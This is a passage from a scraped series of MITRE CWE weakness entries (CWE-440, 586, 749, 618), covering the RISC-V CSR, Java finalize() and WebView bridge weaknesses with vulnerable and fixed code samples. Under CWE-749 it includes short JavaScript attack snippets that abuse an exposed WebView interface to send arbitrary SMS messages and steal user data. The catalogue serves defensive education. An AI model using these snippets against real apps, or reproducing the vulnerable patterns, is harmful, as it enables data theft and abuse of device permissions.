2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References, Relationships, Type
2022-04-28CWE Content TeamMITRE
updated Observed_Examples
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description, Maintenance_Notes, Taxonomy_Mappings
2023-04-27CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Often Misused: Privilege Management
2009-01-12Design Principle Violation: Failure to Use Least Privilege

CWE-440: Expected Behavior Violation

Weakness ID: 440
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A feature, API, or function does not perform according to its specification.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.684Incorrect Provision of Specified Functionality
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Hardware Design" (CWE-1194)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1208Cross-Cutting Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation; Varies by Context

+ Demonstrative Examples

Example 1

The provided code is extracted from the Control and Status Register (CSR), csr_regfile, module within the Hack@DAC'21 OpenPiton System-on-Chip (SoC). This module is designed to implement CSR registers in accordance with the RISC-V specification. The mie (machine interrupt enable) register is a 64-bit register [REF-1384], where bits correspond to different interrupt sources. As the name suggests, mie is a machine-level register that determines which interrupts are enabled. Note that in the example below the mie_q and mie_d registers represent the conceptual mie reigster in the RISC-V specification. The mie_d register is the value to be stored in the mie register while the mie_q register holds the current value of the mie register [REF-1385].

The mideleg (machine interrupt delegation) register, also 64-bit wide, enables the delegation of specific interrupt sources from machine privilege mode to lower privilege levels. By setting specific bits in the mideleg register, the handling of certain interrupts can be delegated to lower privilege levels without engaging the machine-level privilege mode. For example, in supervisor mode, the mie register is limited to a specific register called the sie (supervisor interrupt enable) register. If delegated, an interrupt becomes visible in the sip (supervisor interrupt pending) register and can be enabled or blocked using the sie register. If no delegation occurs, the related bits in sip and sie are set to zero.

The sie register value is computed based on the current value of mie register, i.e., mie_q, and the mideleg register.

(bad code)
Example Language: Verilog 
module csr_regfile #(...)(...);
...
// ---------------------------
// CSR Write and update logic
// ---------------------------
...
if (csr_we) begin
unique case (csr_addr.address)
...
riscv::CSR_SIE: begin
// the mideleg makes sure only delegate-able register
//(and therefore also only implemented registers) are written
mie_d = (mie_q & ~mideleg_q) | (csr_wdata & mideleg_q) | utval_q;
end
...
endcase
end
endmodule

The above code snippet illustrates an instance of a vulnerable implementation of the sie register update logic, where users can tamper with the mie_d register value through the utval (user trap value) register. This behavior violates the RISC-V specification.

The code shows that the value of utval, among other signals, is used in updating the mie_d value within the sie update logic. While utval is a register accessible to users, it should not influence or compromise the integrity of sie. Through manipulation of the utval register, it becomes feasible to manipulate the sie register's value. This opens the door for potential attacks, as an adversary can gain control over or corrupt the sie value. Consequently, such manipulation empowers an attacker to enable or disable critical supervisor-level interrupts, resulting in various security risks such as privilege escalation or denial-of-service attacks.

A fix to this issue is to remove the utval from the right-hand side of the assignment. That is the value of the mie_d should be updated as shown in the good code example [REF-1386].

(good code)
Example Language: Verilog 
module csr_regfile #(...)(...);
...
// ---------------------------
// CSR Write and update logic
// ---------------------------
...
if (csr_we) begin
unique case (csr_addr.address)
...
riscv::CSR_SIE: begin
// the mideleg makes sure only delegate-able register
//(and therefore also only implemented registers) are written
mie_d = (mie_q & ~mideleg_q) | (csr_wdata & mideleg_q);
end
...
endcase
end
endmodule
+ Observed Examples
ReferenceDescription
Program uses large timeouts on unconfirmed connections resulting from inconsistency in linked lists implementations.
"strncpy" in Linux kernel acts different than libc on x86, leading to expected behavior difference - sort of a multiple interpretation error?
Buffer overflow in product stems the use of a third party library function that is expected to have internal protection against overflows, but doesn't.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1368ICS Dependencies (& Architecture): External Digital Systems
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Theoretical

The behavior of an application that is not consistent with the expectations of the developer may lead to incorrect use of the software.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERExpected behavior violation
+ References
[REF-1384] "The RISC-V Instruction Set Manual Volume II: Privileged Architecture page 28". 2021. <https://riscv.org/wp-content/uploads/2017/05/riscv-privileged-v1.10.pdf>. URL validated: 2024-01-16.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-06-21Chen Chen, Rahul Kande, Jeyavijayan RajendranTexas A&M University
suggested demonstrative example
2023-06-21Shaza Zeitouni, Mohamadreza Rostami, Ahmad-Reza SadeghiTechnical University of Darmstadt
suggested demonstrative example
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Relevant_Properties, Theoretical_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relevant_Properties
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Description, Observed_Examples, Theoretical_Notes
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, References

CWE-586: Explicit Call to Finalize()

Weakness ID: 586
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product makes an explicit call to the finalize() method from outside the finalizer.
+ Extended Description
While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1076Insufficient Adherence to Expected Conventions
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.675Multiple Operations on Resource in Single-Operation Context
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Unexpected State; Quality Degradation

+ Demonstrative Examples

Example 1

The following code fragment calls finalize() explicitly:

(bad code)
Example Language: Java 

// time to clean up
widget.finalize();
+ Potential Mitigations

Phases: Implementation; Testing

Do not make explicit calls to finalize(). Use static analysis tools to spot such instances.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.850The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1140SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)MET12-JDo not use finalizers
Software Fault PatternsSFP3Use of an improper API
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Name, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Explicit Call to Finalize

CWE-749: Exposed Dangerous Method or Function

Weakness ID: 749
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.
+ Extended Description

This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.

The exposure can occur in a few different ways:

  • The function/method was never intended to be exposed to outside actors.
  • The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.618Exposed Unsafe ActiveX Method
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.782Exposed IOCTL with Insufficient Access Control
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1228API / Function Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability
Access Control
Other

Technical Impact: Gain Privileges or Assume Identity; Read Application Data; Modify Application Data; Execute Unauthorized Code or Commands; Other

Exposing critical functionality essentially provides an attacker with the privilege level of the exposed functionality. This could result in the modification or exposure of sensitive data or possibly even execution of arbitrary code.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

In the following Java example the method removeDatabase will delete the database with the name specified in the input parameter.

(bad code)
Example Language: Java 
public void removeDatabase(String databaseName) {
try {
Statement stmt = conn.createStatement();
stmt.execute("DROP DATABASE " + databaseName);
} catch (SQLException ex) {...}
}

The method in this example is declared public and therefore is exposed to any class in the application. Deleting a database should be considered a critical operation within an application and access to this potentially dangerous method should be restricted. Within Java this can be accomplished simply by declaring the method private thereby exposing it only to the enclosing class as in the following example.

(good code)
Example Language: Java 
private void removeDatabase(String databaseName) {
try {
Statement stmt = conn.createStatement();
stmt.execute("DROP DATABASE " + databaseName);
} catch (SQLException ex) {...}
}

Example 2

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

(bad code)
Example Language: Java 
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
writeDataToView(view, UserData);
return false;
}
else{
return true;
}
}
}
(bad code)
Example Language: Objective-C 
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UIWebViewNavigationType)exNavigationType
{
NSURL *URL = [exRequest URL];
if ([[URL scheme] isEqualToString:@"exampleScheme"])
{
NSString *functionString = [URL resourceSpecifier];
if ([functionString hasPrefix:@"specialFunction"])
{

// Make data available back in webview.
UIWebView *webView = [self writeDataToView:[URL query]];
}
return NO;
}
return YES;
}

A call into native code can then be initiated by passing parameters within the URL:

(attack code)
Example Language: JavaScript 
window.location = examplescheme://method?parameter=value

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Example 3

This application uses a WebView to display websites, and creates a Javascript interface to a Java object to allow enhanced functionality on a trusted website:

(bad code)
Example Language: Java 
public class WebViewGUI extends Activity {
WebView mainWebView;

public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mainWebView = new WebView(this);
mainWebView.getSettings().setJavaScriptEnabled(true);
mainWebView.addJavascriptInterface(new JavaScriptInterface(), "userInfoObject");
mainWebView.loadUrl("file:///android_asset/www/index.html");
setContentView(mainWebView);
}

final class JavaScriptInterface {
JavaScriptInterface () {}

public String getUserInfo() {
return currentUser.Info();
}
}
}

Before Android 4.2 all methods, including inherited ones, are exposed to Javascript when using addJavascriptInterface(). This means that a malicious website loaded within this WebView can use reflection to acquire a reference to arbitrary Java objects. This will allow the website code to perform any action the parent application is authorized to.

For example, if the application has permission to send text messages:

(attack code)
Example Language: JavaScript 
<script>
userInfoObject.getClass().forName('android.telephony.SmsManager').getMethod('getDefault',null).sendTextMessage(attackNumber, null, attackMessage, null, null);
</script>

This malicious script can use the userInfoObject object to load the SmsManager object and send arbitrary text messages to any recipient.

Example 4

After Android 4.2, only methods annotated with @JavascriptInterface are available in JavaScript, protecting usage of getClass() by default, as in this example:

(bad code)
Example Language: Java 
final class JavaScriptInterface {
JavaScriptInterface () { }

@JavascriptInterface
public String getUserInfo() {
return currentUser.Info();
}
}

This code is not vulnerable to the above attack, but still may expose user info to malicious pages loaded in the WebView. Even malicious iframes loaded within a trusted page may access the exposed interface:

(attack code)
Example Language: JavaScript 
<script>
var info = window.userInfoObject.getUserInfo();
sendUserInfo(info);
</script>

This malicious code within an iframe is able to access the interface object and steal the user's data.

+ Observed Examples
ReferenceDescription
arbitrary Java code execution via exposed method
security tool ActiveX control allows download or upload of files
+ Potential Mitigations

Phase: Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be:

  • accessible to all users
  • restricted to a small set of privileged users
  • prevented from being directly accessible at all

Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.
+ References
[REF-503] Microsoft. "Developing Secure ActiveX Controls". 2005-04-13. <https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-510] Microsoft. "How to stop an ActiveX control from running in Internet Explorer". <https://support.microsoft.com/en-us/help/240797/how-to-stop-an-activex-control-from-running-in-internet-explorer>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-11-24
(CWE 1.1, 2008-11-24)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2009-01-12CWE Content TeamMITRE
updated Name
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit
2010-02-16CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, References, Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Related_Attack_Patterns, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Exposed Insecure Method or Function

CWE-618: Exposed Unsafe ActiveX Method

Weakness ID: 618
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).
+ Extended Description
ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments. If there is no integrity checking or origin validation, this method could be invoked by attackers.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.749Exposed Dangerous Method or Function
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.623Unsafe ActiveX Control Marked Safe For Scripting
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.275Permission Issues
